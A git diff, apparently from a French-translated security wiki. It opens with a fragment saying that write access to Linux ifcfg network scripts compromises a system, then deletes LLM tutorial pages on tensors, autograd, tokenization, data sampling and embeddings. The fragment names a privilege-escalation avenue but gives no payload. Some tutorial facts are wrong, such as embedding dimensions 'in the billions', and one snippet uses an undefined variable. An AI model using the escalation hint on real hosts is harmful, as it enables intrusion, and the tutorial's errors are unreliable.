est compromis**. +Si, pour une raison quelconque, un utilisateur est capable de **crire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** peut **ajuster** un existant, alors votre **système est compromis**. Les scripts réseau, _ifcg-eth0_ par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont \~sourced\~ sur Linux par le Gestionnaire de Réseau (dispatcher.d). diff --git a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md deleted file mode 100644 index 2716e5240..000000000 --- a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md +++ /dev/null @@ -1,285 +0,0 @@ -# 0. Concepts de base sur les LLM - -## Préentraînement - -Le préentraînement est la phase fondamentale dans le développement d'un modèle de langage de grande taille (LLM) où le modèle est exposé à d'énormes et diverses quantités de données textuelles. Pendant cette étape, **le LLM apprend les structures, les motifs et les nuances fondamentales de la langue**, y compris la grammaire, le vocabulaire, la syntaxe et les relations contextuelles. En traitant ces données étendues, le modèle acquiert une large compréhension de la langue et des connaissances générales sur le monde. Cette base complète permet au LLM de générer un texte cohérent et contextuellement pertinent. Par la suite, ce modèle préentraîné peut subir un ajustement fin, où il est formé davantage sur des ensembles de données spécialisés pour adapter ses capacités à des tâches ou domaines spécifiques, améliorant ainsi ses performances et sa pertinence dans des applications ciblées. - -## Principaux composants des LLM - -Généralement, un LLM est caractérisé par la configuration utilisée pour l'entraîner. Voici les composants courants lors de l'entraînement d'un LLM : - -- **Paramètres** : Les paramètres sont les **poids et biais apprenables** dans le réseau de neurones. Ce sont les nombres que le processus d'entraînement ajuste pour minimiser la fonction de perte et améliorer les performances du modèle sur la tâche. Les LLM utilisent généralement des millions de paramètres. -- **Longueur de contexte** : C'est la longueur maximale de chaque phrase utilisée pour pré-entraîner le LLM. -- **Dimension d'embedding** : La taille du vecteur utilisé pour représenter chaque jeton ou mot. Les LLM utilisent généralement des milliards de dimensions. -- **Dimension cachée** : La taille des couches cachées dans le réseau de neurones. -- **Nombre de couches (profondeur)** : Combien de couches le modèle a. Les LLM utilisent généralement des dizaines de couches. -- **Nombre de têtes d'attention** : Dans les modèles de transformateurs, c'est combien de mécanismes d'attention séparés sont utilisés dans chaque couche. Les LLM utilisent généralement des dizaines de têtes. -- **Dropout** : Le dropout est quelque chose comme le pourcentage de données qui est supprimé (les probabilités passent à 0) pendant l'entraînement utilisé pour **prévenir le surapprentissage.** Les LLM utilisent généralement entre 0-20%. - -Configuration du modèle GPT-2 : -```json -GPT_CONFIG_124M = { -"vocab_size": 50257, // Vocabulary size of the BPE tokenizer -"context_length": 1024, // Context length -"emb_dim": 768, // Embedding dimension -"n_heads": 12, // Number of attention heads -"n_layers": 12, // Number of layers -"drop_rate": 0.1, // Dropout rate: 10% -"qkv_bias": False // Query-Key-Value bias -} -``` -## Tensors dans PyTorch - -Dans PyTorch, un **tensor** est une structure de données fondamentale qui sert de tableau multidimensionnel, généralisant des concepts comme les scalaires, les vecteurs et les matrices à des dimensions potentiellement supérieures. Les tenseurs sont la principale façon dont les données sont représentées et manipulées dans PyTorch, en particulier dans le contexte de l'apprentissage profond et des réseaux de neurones. - -### Concept Mathématique des Tenseurs - -- **Scalaires** : Tenseurs de rang 0, représentant un seul nombre (zéro-dimensionnel). Comme : 5 -- **Vecteurs** : Tenseurs de rang 1, représentant un tableau unidimensionnel de nombres. Comme : \[5,1] -- **Matrices** : Tenseurs de rang 2, représentant des tableaux bidimensionnels avec des lignes et des colonnes. Comme : \[\[1,3], \[5,2]] -- **Tenseurs de Rang Supérieur** : Tenseurs de rang 3 ou plus, représentant des données dans des dimensions supérieures (par exemple, des tenseurs 3D pour des images couleur). - -### Tenseurs en tant que Conteneurs de Données - -D'un point de vue computationnel, les tenseurs agissent comme des conteneurs pour des données multidimensionnelles, où chaque dimension peut représenter différentes caractéristiques ou aspects des données. Cela rend les tenseurs particulièrement adaptés pour gérer des ensembles de données complexes dans des tâches d'apprentissage automatique. - -### Tenseurs PyTorch vs. Tableaux NumPy - -Bien que les tenseurs PyTorch soient similaires aux tableaux NumPy dans leur capacité à stocker et manipuler des données numériques, ils offrent des fonctionnalités supplémentaires cruciales pour l'apprentissage profond : - -- **Différentiation Automatique** : Les tenseurs PyTorch prennent en charge le calcul automatique des gradients (autograd), ce qui simplifie le processus de calcul des dérivées nécessaires à l'entraînement des réseaux de neurones. -- **Accélération GPU** : Les tenseurs dans PyTorch peuvent être déplacés et calculés sur des GPU, accélérant considérablement les calculs à grande échelle. - -### Création de Tenseurs dans PyTorch - -Vous pouvez créer des tenseurs en utilisant la fonction `torch.tensor` : -```python -pythonCopy codeimport torch - -# Scalar (0D tensor) -tensor0d = torch.tensor(1) - -# Vector (1D tensor) -tensor1d = torch.tensor([1, 2, 3]) - -# Matrix (2D tensor) -tensor2d = torch.tensor([[1, 2], -[3, 4]]) - -# 3D Tensor -tensor3d = torch.tensor([[[1, 2], [3, 4]], -[[5, 6], [7, 8]]]) -``` -### Types de données Tensor - -Les tenseurs PyTorch peuvent stocker des données de différents types, tels que des entiers et des nombres à virgule flottante. - -Vous pouvez vérifier le type de données d'un tenseur en utilisant l'attribut `.dtype` : -```python -tensor1d = torch.tensor([1, 2, 3]) -print(tensor1d.dtype) # Output: torch.int64 -``` -- Les tenseurs créés à partir d'entiers Python sont de type `torch.int64`. -- Les tenseurs créés à partir de flottants Python sont de type `torch.float32`. - -Pour changer le type de données d'un tenseur, utilisez la méthode `.to()` : -```python -float_tensor = tensor1d.to(torch.float32) -print(float_tensor.dtype) # Output: torch.float32 -``` -### Opérations Tensor Courantes - -PyTorch fournit une variété d'opérations pour manipuler des tenseurs : - -- **Accéder à la forme** : Utilisez `.shape` pour obtenir les dimensions d'un tenseur. - -```python -print(tensor2d.shape) # Sortie : torch.Size([2, 2]) -``` - -- **Restructuration des Tenseurs** : Utilisez `.reshape()` ou `.view()` pour changer la forme. - -```python -reshaped = tensor2d.reshape(4, 1) -``` - -- **Transposition des Tenseurs** : Utilisez `.T` pour transposer un tenseur 2D. - -```python -transposed = tensor2d.T -``` - -- **Multiplication de Matrices** : Utilisez `.matmul()` ou l'opérateur `@`. - -```python -result = tensor2d @ tensor2d.T -``` - -### Importance dans l'Apprentissage Profond - -Les tenseurs sont essentiels dans PyTorch pour construire et entraîner des réseaux de neurones : - -- Ils stockent les données d'entrée, les poids et les biais. -- Ils facilitent les opérations requises pour les passes avant et arrière dans les algorithmes d'entraînement. -- Avec autograd, les tenseurs permettent le calcul automatique des gradients, simplifiant le processus d'optimisation. - -## Différentiation Automatique - -La différentiation automatique (AD) est une technique computationnelle utilisée pour **évaluer les dérivées (gradients)** des fonctions de manière efficace et précise. Dans le contexte des réseaux de neurones, l'AD permet le calcul des gradients nécessaires pour **des algorithmes d'optimisation comme la descente de gradient**. PyTorch fournit un moteur de différentiation automatique appelé **autograd** qui simplifie ce processus. - -### Explication Mathématique de la Différentiation Automatique - -**1. La Règle de Chaîne** - -Au cœur de la différentiation automatique se trouve la **règle de chaîne** du calcul. La règle de chaîne stipule que si vous avez une composition de fonctions, la dérivée de la fonction composite est le produit des dérivées des fonctions composées. - -Mathématiquement, si `y=f(u)` et `u=g(x)`, alors la dérivée de `y` par rapport à `x` est : - -
- -**2. Graphe Computationnel** - -Dans l'AD, les calculs sont représentés comme des nœuds dans un **graphe computationnel**, où chaque nœud correspond à une opération ou une variable. En parcourant ce graphe, nous pouvons calculer les dérivées de manière efficace. - -3. Exemple - -Considérons une fonction simple : - -
- -Où : - -- `σ(z)` est la fonction sigmoïde. -- `y=1.0` est l'étiquette cible. -- `L` est la perte. - -Nous voulons calculer le gradient de la perte `L` par rapport au poids `w` et au biais `b`. - -**4. Calculer les Gradients Manuellement** - -
- -**5. Calcul Numérique** - -
- -### Mise en Œuvre de la Différentiation Automatique dans PyTorch - -Maintenant, voyons comment PyTorch automatise ce processus. -```python -pythonCopy codeimport torch -import torch.nn.functional as F - -# Define input and target -x = torch.tensor([1.1]) -y = torch.tensor([1.0]) - -# Initialize weights with requires_grad=True to track computations -w = torch.tensor([2.2], requires_grad=True) -b = torch.tensor([0.0], requires_grad=True) - -# Forward pass -z = x * w + b -a = torch.sigmoid(z) -loss = F.binary_cross_entropy(a, y) - -# Backward pass -loss.backward() - -# Gradients -print("Gradient w.r.t w:", w.grad) -print("Gradient w.r.t b:", b.grad) -``` -**Sortie :** -```css -cssCopy codeGradient w.r.t w: tensor([-0.0898]) -Gradient w.r.t b: tensor([-0.0817]) -``` -## Backpropagation dans des Réseaux Neuraux Plus Grands - -### **1. Extension aux Réseaux Multicouches** - -Dans des réseaux neuronaux plus grands avec plusieurs couches, le processus de calcul des gradients devient plus complexe en raison du nombre accru de paramètres et d'opérations. Cependant, les principes fondamentaux restent les mêmes : - -- **Passage Avant :** Calculer la sortie du réseau en passant les entrées à travers chaque couche. -- **Calcul de la Perte :** Évaluer la fonction de perte en utilisant la sortie du réseau et les étiquettes cibles. -- **Passage Arrière (Backpropagation) :** Calculer les gradients de la perte par rapport à chaque paramètre du réseau en appliquant la règle de chaîne de manière récursive depuis la couche de sortie jusqu'à la couche d'entrée. - -### **2. Algorithme de Backpropagation** - -- **Étape 1 :** Initialiser les paramètres du réseau (poids et biais). -- **Étape 2 :** Pour chaque exemple d'entraînement, effectuer un passage avant pour calculer les sorties. -- **Étape 3 :** Calculer la perte. -- **Étape 4 :** Calculer les gradients de la perte par rapport à chaque paramètre en utilisant la règle de chaîne. -- **Étape 5 :** Mettre à jour les paramètres en utilisant un algorithme d'optimisation (par exemple, la descente de gradient). - -### **3. Représentation Mathématique** - -Considérons un réseau neuronal simple avec une couche cachée : - -
- -### **4. Implémentation PyTorch** - -PyTorch simplifie ce processus avec son moteur autograd. -```python -import torch -import torch.nn as nn -import torch.optim as optim - -# Define a simple neural network -class SimpleNet(nn.Module): -def __init__(self): -super(SimpleNet, self).__init__() -self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer -self.relu = nn.ReLU() -self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer -self.sigmoid = nn.Sigmoid() - -def forward(self, x): -h = self.relu(self.fc1(x)) -y_hat = self.sigmoid(self.fc2(h)) -return y_hat - -# Instantiate the network -net = SimpleNet() - -# Define loss function and optimizer -criterion = nn.BCELoss() -optimizer = optim.SGD(net.parameters(), lr=0.01) - -# Sample data -inputs = torch.randn(1, 10) -labels = torch.tensor([1.0]) - -# Training loop -optimizer.zero_grad() # Clear gradients -outputs = net(inputs) # Forward pass -loss = criterion(outputs, labels) # Compute loss -loss.backward() # Backward pass (compute gradients) -optimizer.step() # Update parameters - -# Accessing gradients -for name, param in net.named_parameters(): -if param.requires_grad: -print(f"Gradient of {name}: {param.grad}") -``` -Dans ce code : - -- **Passage Avant :** Calcule les sorties du réseau. -- **Passage Arrière :** `loss.backward()` calcule les gradients de la perte par rapport à tous les paramètres. -- **Mise à Jour des Paramètres :** `optimizer.step()` met à jour les paramètres en fonction des gradients calculés. - -### **5. Comprendre le Passage Arrière** - -Lors du passage arrière : - -- PyTorch parcourt le graphe computationnel dans l'ordre inverse. -- Pour chaque opération, il applique la règle de la chaîne pour calculer les gradients. -- Les gradients sont accumulés dans l'attribut `.grad` de chaque tenseur de paramètre. - -### **6. Avantages de la Différentiation Automatique** - -- **Efficacité :** Évite les calculs redondants en réutilisant les résultats intermédiaires. -- **Précision :** Fournit des dérivées exactes jusqu'à la précision machine. -- **Facilité d'Utilisation :** Élimine le calcul manuel des dérivées. diff --git a/src/todo/llm-training-data-preparation/1.-tokenizing.md b/src/todo/llm-training-data-preparation/1.-tokenizing.md deleted file mode 100644 index db9dbbfab..000000000 --- a/src/todo/llm-training-data-preparation/1.-tokenizing.md +++ /dev/null @@ -1,95 +0,0 @@ -# 1. Tokenisation - -## Tokenisation - -**Tokenisation** est le processus de décomposition des données, telles que le texte, en morceaux plus petits et gérables appelés _tokens_. Chaque token se voit ensuite attribuer un identifiant numérique unique (ID). C'est une étape fondamentale dans la préparation du texte pour le traitement par des modèles d'apprentissage automatique, en particulier dans le traitement du langage naturel (NLP). - -> [!TIP] -> L'objectif de cette phase initiale est très simple : **Diviser l'entrée en tokens (ids) d'une manière qui a du sens**. - -### **Comment fonctionne la tokenisation** - -1. **Division du texte :** -- **Tokeniseur de base :** Un tokeniseur simple pourrait diviser le texte en mots individuels et en signes de ponctuation, en supprimant les espaces. -- _Exemple :_\ -Texte : `"Hello, world!"`\ -Tokens : `["Hello", ",", "world", "!"]` -2. **Création d'un vocabulaire :** -- Pour convertir les tokens en IDs numériques, un **vocabulaire** est créé. Ce vocabulaire liste tous les tokens uniques (mots et symboles) et attribue à chacun un ID spécifique. -- **Tokens spéciaux :** Ce sont des symboles spéciaux ajoutés au vocabulaire pour gérer divers scénarios : -- `[BOS]` (Début de séquence) : Indique le début d'un texte. -- `[EOS]` (Fin de séquence) : Indique la fin d'un texte. -- `[PAD]` (Remplissage) : Utilisé pour rendre toutes les séquences d'un lot de la même longueur. -- `[UNK]` (Inconnu) : Représente des tokens qui ne sont pas dans le vocabulaire. -- _Exemple :_\ -Si `"Hello"` est attribué à l'ID `64`, `","` est `455`, `"world"` est `78`, et `"!"` est `467`, alors :\ -`"Hello, world!"` → `[64, 455, 78, 467]` -- **Gestion des mots inconnus :**\ -Si un mot comme `"Bye"` n'est pas dans le vocabulaire, il est remplacé par `[UNK]`.\ -`"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\ -_(En supposant que `[UNK]` a l'ID `987`)_ - -### **Méthodes avancées de tokenisation** - -Bien que le tokeniseur de base fonctionne bien pour des textes simples, il a des limitations, en particulier avec de grands vocabulaires et la gestion de nouveaux mots ou de mots rares. Les méthodes avancées de tokenisation abordent ces problèmes en décomposant le texte en sous-unités plus petites ou en optimisant le processus de tokenisation. - -1. **Encodage par paires de bytes (BPE) :** -- **Objectif :** Réduit la taille du vocabulaire et gère les mots rares ou inconnus en les décomposant en paires de bytes fréquemment rencontrées. -- **Comment ça fonctionne :** -- Commence avec des caractères individuels comme tokens. -- Fusionne de manière itérative les paires de tokens les plus fréquentes en un seul token. -- Continue jusqu'à ce qu'aucune paire fréquente ne puisse être fusionnée. -- **Avantages :** -- Élimine le besoin d'un token `[UNK]` puisque tous les mots peuvent être représentés en combinant des tokens de sous-mots existants. -- Vocabulaire plus efficace et flexible. -- _Exemple :_\ -`"playing"` pourrait être tokenisé en `["play", "ing"]` si `"play"` et `"ing"` sont des sous-mots fréquents. -2. **WordPiece :** -- **Utilisé par :** Modèles comme BERT. -- **Objectif :** Semblable à BPE, il décompose les mots en unités de sous-mots pour gérer les mots inconnus et réduire la taille du vocabulaire. -- **Comment ça fonctionne :** -- Commence avec un vocabulaire de base de caractères individuels. -- Ajoute de manière itérative le sous-mot le plus fréquent qui maximise la probabilité des données d'entraînement. -- Utilise un modèle probabiliste pour décider quels sous-mots fusionner. -- **Avantages :** -- Équilibre entre avoir une taille de vocabulaire gérable et représenter efficacement les mots. -- Gère efficacement les mots rares et composés. -- _Exemple :_\ -`"unhappiness"` pourrait être tokenisé en `["un", "happiness"]` ou `["un", "happy", "ness"]` selon le vocabulaire. -3. **Modèle de langue Unigram :** -- **Utilisé par :** Modèles comme SentencePiece. -- **Objectif :** Utilise un modèle probabiliste pour déterminer l'ensemble de tokens de sous-mots le plus probable. -- **Comment ça fonctionne :** -- Commence avec un grand ensemble de tokens potentiels. -- Supprime de manière itérative les tokens qui améliorent le moins la probabilité du modèle sur les données d'entraînement. -- Finalise un vocabulaire où chaque mot est représenté par les unités de sous-mots les plus probables. -- **Avantages :** -- Flexible et peut modéliser la langue de manière plus naturelle. -- Résulte souvent en tokenisations plus efficaces et compactes. -- _Exemple :_\ -`"internationalization"` pourrait être tokenisé en sous-mots plus petits et significatifs comme `["international", "ization"]`. - -## Exemple de code - -Comprenons cela mieux à partir d'un exemple de code de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): -```python -# Download a text to pre-train the model -import urllib.request -url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt") -file_path = "the-verdict.txt" -urllib.request.urlretrieve(url, file_path) - -with open("the-verdict.txt", "r", encoding="utf-8") as f: -raw_text = f.read() - -# Tokenize the code using GPT2 tokenizer version -import tiktoken -token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]" - -# Print first 50 tokens -print(token_ids[:50]) -#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11] -``` -## Références - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/2.-data-sampling.md b/src/todo/llm-training-data-preparation/2.-data-sampling.md deleted file mode 100644 index 9909261e1..000000000 --- a/src/todo/llm-training-data-preparation/2.-data-sampling.md +++ /dev/null @@ -1,240 +0,0 @@ -# 2. Data Sampling - -## **Data Sampling** - -**Data Sampling** is a crucial process in preparing data for training large language models (LLMs) like GPT. It involves organizing text data into input and target sequences that the model uses to learn how to predict the next word (or token) based on the preceding words. Proper data sampling ensures that the model effectively captures language patterns and dependencies. - -> [!TIP] -> The goal of this second phase is very simple: **Sample the input data and prepare it for the training phase usually by separating the dataset into sentences of a specific length and generating also the expected response.** - -### **Why Data Sampling Matters** - -LLMs such as GPT are trained to generate or predict text by understanding the context provided by previous words. To achieve this, the training data must be structured in a way that the model can learn the relationship between sequences of words and their subsequent words. This structured approach allows the model to generalize and generate coherent and contextually relevant text. - -### **Key Concepts in Data Sampling** - -1. **Tokenization:** Breaking down text into smaller units called tokens (e.g., words, subwords, or characters). -2. **Sequence Length (max_length):** The number of tokens in each input sequence. -3. **Sliding Window:** A method to create overlapping input sequences by moving a window over the tokenized text. -4. **Stride:** The number of tokens the sliding window moves forward to create the next sequence. - -### **Step-by-Step Example** - -Let's walk through an example to illustrate data sampling. - -**Example Text** - -```arduino -"Lorem ipsum dolor sit amet, consectetur adipiscing elit." -``` - -**Tokenization** - -Assume we use a **basic tokenizer** that splits the text into words and punctuation marks: - -```vbnet -Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."] -``` - -**Parameters** - -- **Max Sequence Length (max_length):** 4 tokens -- **Sliding Window Stride:** 1 token - -**Creating Input and Target Sequences** - -1. **Sliding Window Approach:** - - **Input Sequences:** Each input sequence consists of `max_length` tokens. - - **Target Sequences:** Each target sequence consists of the tokens that immediately follow the corresponding input sequence. -2. **Generating Sequences:** - -
Window PositionInput SequenceTarget Sequence
1["Lorem", "ipsum", "dolor", "sit"]["ipsum", "dolor", "sit", "amet,"]
2["ipsum", "dolor", "sit", "amet,"]["dolor", "sit", "amet,", "consectetur"]
3["dolor", "sit", "amet,", "consectetur"]["sit", "amet,", "consectetur", "adipiscing"]
4["sit", "amet,", "consectetur", "adipiscing"]["amet,", "consectetur", "adipiscing", "elit."]
- -3. **Resulting Input and Target Arrays:** - - - **Input:** - - ```python - [ - ["Lorem", "ipsum", "dolor", "sit"], - ["ipsum", "dolor", "sit", "amet,"], - ["dolor", "sit", "amet,", "consectetur"], - ["sit", "amet,", "consectetur", "adipiscing"], - ] - ``` - - - **Target:** - - ```python - [ - ["ipsum", "dolor", "sit", "amet,"], - ["dolor", "sit", "amet,", "consectetur"], - ["sit", "amet,", "consectetur", "adipiscing"], - ["amet,", "consectetur", "adipiscing", "elit."], - ] - ``` - -**Visual Representation** - -
Token PositionToken
1Lorem
2ipsum
3dolor
4sit
5amet,
6consectetur
7adipiscing
8elit.
- -**Sliding Window with Stride 1:** - -- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"] -- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Target:** \["dolor", "sit", "amet,", "consectetur"] -- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"] -- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Target:** \["amet,", "consectetur", "adipiscing", "elit."] - -**Understanding Stride** - -- **Stride of 1:** The window moves forward by one token each time, resulting in highly overlapping sequences. This can lead to better learning of contextual relationships but may increase the risk of overfitting since similar data points are repeated. -- **Stride of 2:** The window moves forward by two tokens each time, reducing overlap. This decreases redundancy and computational load but might miss some contextual nuances. -- **Stride Equal to max_length:** The window moves forward by the entire window size, resulting in non-overlapping sequences. This minimizes data redundancy but may limit the model's ability to learn dependencies across sequences. - -**Example with Stride of 2:** - -Using the same tokenized text and `max_length` of 4: - -- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"] -- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"] -- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_ - -## Code Example - -Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): - -```python -# Download the text to pre-train the LLM -import urllib.request -url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt") -file_path = "the-verdict.txt" -urllib.request.urlretrieve(url, file_path) - -with open("the-verdict.txt", "r", encoding="utf-8") as f: - raw_text = f.read() - -""" -Create a class that will receive some params lie tokenizer and text -and will prepare the input chunks and the target chunks to prepare -the LLM to learn which next token to generate -""" -import torch -from torch.utils.data import Dataset, DataLoader - -class GPTDatasetV1(Dataset): - def __init__(self, txt, tokenizer, max_length, stride): - self.input_ids = [] - self.target_ids = [] - - # Tokenize the entire text - token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"}) - - # Use a sliding window to chunk the book into overlapping sequences of max_length - for i in range(0, len(token_ids) - max_length, stride): - input_chunk = token_ids[i:i + max_length] - target_chunk = token_ids[i + 1: i + max_length + 1] - self.input_ids.append(torch.tensor(input_chunk)) - self.target_ids.append(torch.tensor(target_chunk)) - - def __len__(self): - return len(self.input_ids) - - def __getitem__(self, idx): - return self.input_ids[idx], self.target_ids[idx] - - -""" -Create a data loader which given the text and some params will -prepare the inputs and targets with the previous class and -then create a torch DataLoader with the info -""" - -import tiktoken - -def create_dataloader_v1(txt, batch_size=4, max_length=256, - stride=128, shuffle=True, drop_last=True, - num_workers=0): - - # Initialize the tokenizer - tokenizer = tiktoken.get_encoding("gpt2") - - # Create dataset - dataset = GPTDatasetV1(txt, tokenizer, max_length, stride) - - # Create dataloader - dataloader = DataLoader( - dataset, - batch_size=batch_size, - shuffle=shuffle, - drop_last=drop_last, - num_workers=num_workers - ) - - return dataloader - - -""" -Finally, create the data loader with the params we want: -- The used text for training -- batch_size: The size of each batch -- max_length: The size of each entry on each batch -- stride: The sliding window (how many tokens should the next entry advance compared to the previous one). The smaller the more overfitting, usually this is equals to the max_length so the same tokens aren't repeated. -- shuffle: Re-order randomly -""" -dataloader = create_dataloader_v1( - raw_text, batch_size=8, max_length=4, stride=1, shuffle=False -) - -data_iter = iter(dataloader) -first_batch = next(data_iter) -print(first_batch) - -# Note the batch_size of 8, the max_length of 4 and the stride of 1 -[ -# Input -tensor([[ 40, 367, 2885, 1464], - [ 367, 2885, 1464, 1807], - [ 2885, 1464, 1807, 3619], - [ 1464, 1807, 3619, 402], - [ 1807, 3619, 402, 271], - [ 3619, 402, 271, 10899], - [ 402, 271, 10899, 2138], - [ 271, 10899, 2138, 257]]), -# Target -tensor([[ 367, 2885, 1464, 1807], - [ 2885, 1464, 1807, 3619], - [ 1464, 1807, 3619, 402], - [ 1807, 3619, 402, 271], - [ 3619, 402, 271, 10899], - [ 402, 271, 10899, 2138], - [ 271, 10899, 2138, 257], - [10899, 2138, 257, 7026]]) -] - -# With stride=4 this will be the result: -[ -# Input -tensor([[ 40, 367, 2885, 1464], - [ 1807, 3619, 402, 271], - [10899, 2138, 257, 7026], - [15632, 438, 2016, 257], - [ 922, 5891, 1576, 438], - [ 568, 340, 373, 645], - [ 1049, 5975, 284, 502], - [ 284, 3285, 326, 11]]), -# Target -tensor([[ 367, 2885, 1464, 1807], - [ 3619, 402, 271, 10899], - [ 2138, 257, 7026, 15632], - [ 438, 2016, 257, 922], - [ 5891, 1576, 438, 568], - [ 340, 373, 645, 1049], - [ 5975, 284, 502, 284], - [ 3285, 326, 11, 287]]) -] -``` - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - diff --git a/src/todo/llm-training-data-preparation/3.-token-embeddings.md b/src/todo/llm-training-data-preparation/3.-token-embeddings.md deleted file mode 100644 index ea10ceab2..000000000 --- a/src/todo/llm-training-data-preparation/3.-token-embeddings.md +++ /dev/null @@ -1,203 +0,0 @@ -# 3. Token Embeddings - -## Token Embeddings - -Après avoir tokenisé les données textuelles, l'étape critique suivante dans la préparation des données pour l'entraînement de modèles de langage de grande taille (LLMs) comme GPT est la création de **token embeddings**. Les token embeddings transforment des tokens discrets (comme des mots ou des sous-mots) en vecteurs numériques continus que le modèle peut traiter et apprendre. Cette explication décompose les token embeddings, leur initialisation, leur utilisation et le rôle des embeddings positionnels dans l'amélioration de la compréhension par le modèle des séquences de tokens. - -> [!TIP] -> L'objectif de cette troisième phase est très simple : **Attribuer à chacun des tokens précédents dans le vocabulaire un vecteur des dimensions souhaitées pour entraîner le modèle.** Chaque mot dans le vocabulaire sera un point dans un espace de X dimensions.\ -> Notez qu'initialement, la position de chaque mot dans l'espace est simplement initialisée "au hasard" et ces positions sont des paramètres entraînables (seront améliorés pendant l'entraînement). -> -> De plus, pendant l'embedding de token, **une autre couche d'embeddings est créée** qui représente (dans ce cas) la **position absolue du mot dans la phrase d'entraînement**. De cette manière, un mot à différentes positions dans la phrase aura une représentation (signification) différente. - -### **What Are Token Embeddings?** - -**Token Embeddings** sont des représentations numériques de tokens dans un espace vectoriel continu. Chaque token dans le vocabulaire est associé à un vecteur unique de dimensions fixes. Ces vecteurs capturent des informations sémantiques et syntaxiques sur les tokens, permettant au modèle de comprendre les relations et les motifs dans les données. - -- **Vocabulary Size:** Le nombre total de tokens uniques (par exemple, mots, sous-mots) dans le vocabulaire du modèle. -- **Embedding Dimensions:** Le nombre de valeurs numériques (dimensions) dans le vecteur de chaque token. Des dimensions plus élevées peuvent capturer des informations plus nuancées mais nécessitent plus de ressources informatiques. - -**Example:** - -- **Vocabulary Size:** 6 tokens \[1, 2, 3, 4, 5, 6] -- **Embedding Dimensions:** 3 (x, y, z) - -### **Initializing Token Embeddings** - -Au début de l'entraînement, les token embeddings sont généralement initialisés avec de petites valeurs aléatoires. Ces valeurs initiales sont ajustées (affinées) pendant l'entraînement pour mieux représenter les significations des tokens en fonction des données d'entraînement. - -**PyTorch Example:** -```python -import torch - -# Set a random seed for reproducibility -torch.manual_seed(123) - -# Create an embedding layer with 6 tokens and 3 dimensions -embedding_layer = torch.nn.Embedding(6, 3) - -# Display the initial weights (embeddings) -print(embedding_layer.weight) -``` -**Sortie :** -```lua -luaCopy codeParameter containing: -tensor([[ 0.3374, -0.1778, -0.1690], -[ 0.9178, 1.5810, 1.3010], -[ 1.2753, -0.2010, -0.1606], -[-0.4015, 0.9666, -1.1481], -[-1.1589, 0.3255, -0.6315], -[-2.8400, -0.7849, -1.4096]], requires_grad=True) -``` -**Explication :** - -- Chaque ligne correspond à un token dans le vocabulaire. -- Chaque colonne représente une dimension dans le vecteur d'embedding. -- Par exemple, le token à l'index `3` a un vecteur d'embedding `[-0.4015, 0.9666, -1.1481]`. - -**Accéder à l'embedding d'un token :** -```python -# Retrieve the embedding for the token at index 3 -token_index = torch.tensor([3]) -print(embedding_layer(token_index)) -``` -**Sortie :** -```lua -tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=) -``` -**Interprétation :** - -- Le token à l'index `3` est représenté par le vecteur `[-0.4015, 0.9666, -1.1481]`. -- Ces valeurs sont des paramètres entraînables que le modèle ajustera pendant l'entraînement pour mieux représenter le contexte et la signification du token. - -### **Comment fonctionnent les embeddings de tokens pendant l'entraînement** - -Pendant l'entraînement, chaque token dans les données d'entrée est converti en son vecteur d'embedding correspondant. Ces vecteurs sont ensuite utilisés dans divers calculs au sein du modèle, tels que les mécanismes d'attention et les couches de réseaux neuronaux. - -**Scénario d'exemple :** - -- **Taille de lot :** 8 (nombre d'échantillons traités simultanément) -- **Longueur de séquence maximale :** 4 (nombre de tokens par échantillon) -- **Dimensions d'embedding :** 256 - -**Structure des données :** - -- Chaque lot est représenté comme un tenseur 3D avec la forme `(batch_size, max_length, embedding_dim)`. -- Pour notre exemple, la forme serait `(8, 4, 256)`. - -**Visualisation :** -```css -cssCopy codeBatch -┌─────────────┐ -│ Sample 1 │ -│ ┌─────┐ │ -│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆] -│ │ 1 │ │ -│ │... │ │ 